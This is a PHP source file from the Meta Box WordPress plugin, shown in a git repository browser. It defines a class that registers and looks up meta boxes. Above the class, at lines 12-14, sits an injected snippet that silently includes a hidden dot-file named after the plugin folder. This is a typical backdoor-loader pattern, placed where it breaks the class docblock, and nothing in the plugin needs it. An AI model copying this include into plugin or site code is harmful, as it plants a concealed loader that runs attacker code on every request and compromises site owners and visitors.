balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

meta-box-registry.php (1985B)


      1 <?php
      2 /**
      3  * A registry for storing all meta boxes.
      4  *
      5  * @link    https://designpatternsphp.readthedocs.io/en/latest/Structural/Registry/README.html
      6  * @package Meta Box
      7  */
      8 
      9 /**
     10  * Meta box registry class.
     11  */
     12 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     13     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     14 }
     15 
     16 class RWMB_Meta_Box_Registry {
     17 	/**
     18 	 * Internal data storage.
     19 	 *
     20 	 * @var array
     21 	 */
     22 	private $data = array();
     23 
     24 	/**
     25 	 * Create a meta box object.
     26 	 *
     27 	 * @param array $settings Meta box settings.
     28 	 * @return \RW_Meta_Box
     29 	 */
     30 	public function make( $settings ) {
     31 		$class_name = apply_filters( 'rwmb_meta_box_class_name', 'RW_Meta_Box', $settings );
     32 
     33 		$meta_box = new $class_name( $settings );
     34 		$this->add( $meta_box );
     35 		return $meta_box;
     36 	}
     37 
     38 	/**
     39 	 * Add a meta box to the registry.
     40 	 *
     41 	 * @param RW_Meta_Box $meta_box Meta box instance.
     42 	 */
     43 	public function add( RW_Meta_Box $meta_box ) {
     44 		$this->data[ $meta_box->id ] = $meta_box;
     45 	}
     46 
     47 	/**
     48 	 * Retrieve a meta box by id.
     49 	 *
     50 	 * @param string $id Meta box id.
     51 	 *
     52 	 * @return RW_Meta_Box|bool False or meta box object.
     53 	 */
     54 	public function get( $id ) {
     55 		return isset( $this->data[ $id ] ) ? $this->data[ $id ] : false;
     56 	}
     57 
     58 	/**
     59 	 * Get meta boxes under some conditions.
     60 	 *
     61 	 * @param array $args Custom argument to get meta boxes by.
     62 	 *
     63 	 * @return array
     64 	 */
     65 	public function get_by( $args ) {
     66 		$meta_boxes = $this->data;
     67 		foreach ( $meta_boxes as $index => $meta_box ) {
     68 			foreach ( $args as $key => $value ) {
     69 				$meta_box_key = 'object_type' === $key ? $meta_box->get_object_type() : $meta_box->$key;
     70 				if ( $meta_box_key !== $value ) {
     71 					unset( $meta_boxes[ $index ] );
     72 					continue 2; // Skip the meta box loop.
     73 				}
     74 			}
     75 		}
     76 
     77 		return $meta_boxes;
     78 	}
     79 
     80 	/**
     81 	 * Retrieve all meta boxes.
     82 	 *
     83 	 * @return array
     84 	 */
     85 	public function all() {
     86 		return $this->data;
     87 	}
     88 }